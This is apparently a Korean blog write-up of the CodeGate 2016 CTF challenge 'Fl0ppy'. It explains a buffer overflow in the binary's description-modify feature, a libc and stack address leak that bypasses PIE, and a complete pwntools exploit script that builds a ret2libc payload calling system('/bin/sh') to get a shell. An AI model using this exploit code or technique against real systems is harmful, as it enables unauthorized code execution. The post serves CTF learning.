본문 바로가기

ctf

[CodeGate 2016 CTF] Fl0ppy

# file fl0ppy

floppy: ELF 32-bit LSB  shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0181e2acbb1c70657d46c26eac0f75b29d82472d, stripped

 

NX 와 PIE 방어 기법이 걸린 32bit 바이너리이다.

 

전체적으로 watermelone 문제와 취약점이 터지는 방법이 비슷하다.

처음 디스크 할당 과정에서 description 10byte 를 입력받으나 modify 하면서 37byte 를 입력받게 된다. 이 때 ret 까지 덮어 쓸 수 있다. (fl0ppy1 에서 덮어쓰기 가능하다.)

 

main 함수 종료 부분이다. 일반적인 ret 함수를 실행하면서 종료되는 것과는 다른 것을 확인할 수 있다. 이전에서 설명했듯이 우리는 ret 까지 덮어 쓸 수 있다. 즉, ebp-8 부분이나 ecx 값을 원하는 값을 넣어 결과적으로 ret 주소를 컨트롤 할 수 있다.

 

 

exploit 과정에 대해 짧게 설명하자면,

1. PIE 기법이 걸려있으므로 leak 을 통해 stack addr, libc_base, __libc_start_main 등 주소를 구할 수 있고, libc-database 와 같은 offset 계산을 통해 system, /bin/sh 문자열의 주소를 알아낼 수 있다.

2. ret 주소에 원하는 주소를 실행시키기 위해 leak 한 stack 주소나 위의 main 함수 종료 부분의 ret 주소의 흐름을 바꿀 수 있는 esp, ebp-8, ecx 에 들어갈 값을 잘 계산한다..

 

[!] description 에 몇개의 데이터를 집어넣냐에 따라 릭을 할 수 있는 함수가 달라진다. hexdump 모듈을 이용하면 스택을 좀 더 편하게 볼 수 있다... 그리고 pwntool 을 공부하는 중인데 익숙하게 다루기만 한다면 훨씬 편하게 exploit 코드를 짤 수 있다.

 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

from pwn import *
from telnetlib import *
import hexdump


r = remote('192.168.127.162', 7778)

system_offset = 0x40310
binsh_offset = 0x16084c


payload_1 = "B"*24
payload_2 = "B"*32

print r.recvuntil('>')

r.sendline('1\n')
print r.recvuntil('1 or 2?\n')

r.sendline('1\n')
print r.recvuntil('>')

r.sendline('2\n')
print r.recvuntil('data: \n')

r.sendline('AAAA')
print r.recvuntil('Description: \n')

r.sendline('BBBB')
print r.recvuntil('>')

r.sendline('4\n')
print r.recvuntil('2 Data\n')

r.sendline('1\n')
print r.recvuntil('Input Description: \n')


# _libc_base leak

r.sendline(payload_1 + '\n')
print r.recvuntil('>')

r.sendline('1\n')
print r.recvuntil('1 or 2?\n')

r.sendline('1\n')
print r.recvuntil('>')

r.sendline('3\n')
data = r.recvuntil('>')
hexdump.hexdump(data)

_libc_base = u32(data[200:204]) - 0xa - 0x1ab000
print "[*] _libc_base = " + hex(_libc_base)

 

print data

r.sendline('4\n')
print r.recvuntil('2 Data\n')

r.sendline('1\n')
print r.recvuntil('Input Description: \n')

 

# stack_addr, __libc_start_main, calculate offset


r.sendline(payload_2 + '\n')
print r.recvuntil('>')

r.sendline('1\n')
print r.recvuntil('1 or 2?\n')

r.sendline('1\n')
print r.recvuntil('>')

r.sendline('3\n')
data1 = r.recvuntil('>')
hexdump.hexdump(data1)

main = u32(data1[208:212]) - 0xa
print "[*] main addr = " + hex(main)

stack_addr = u32(data1[192:196]) + 12
print "[*] stack_addr = " + hex(stack_addr)

system_libc = _libc_base + system_offset
print "[*] system_libc = " + hex(system_libc)

binsh_addr = _libc_base + binsh_offset
print "[*] /bin/sh addr = " + hex(binsh_addr)

 

# exploit

payload_3 = p32(system_libc) + "AAAA" + p32(binsh_addr) + "C"*8 + p32(stack_addr) + "C"*12

print data1
r.sendline('4\n')
print r.recvuntil('2 Data\n')

r.sendline('1\n')
print r.recvuntil('Input Description: \n')

r.sendline(payload_3 + '\n')
print r.recvuntil('>')

 

r.sendline('5\n')

r.interactive()

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

'ctf' 카테고리의 다른 글

[DEFCON 2015 CTF] r0pbaby  (0) 2017.01.05
[CodeGate 2016 CTF] BugBug  (0) 2017.01.04
[HolyShield 2016 CTF] pwnit  (0) 2016.12.19
[CodeGate 2016 CTF] Watermelon  (0) 2016.12.14
[SECCON 2016 CTF] cheer_msg  (0) 2016.12.12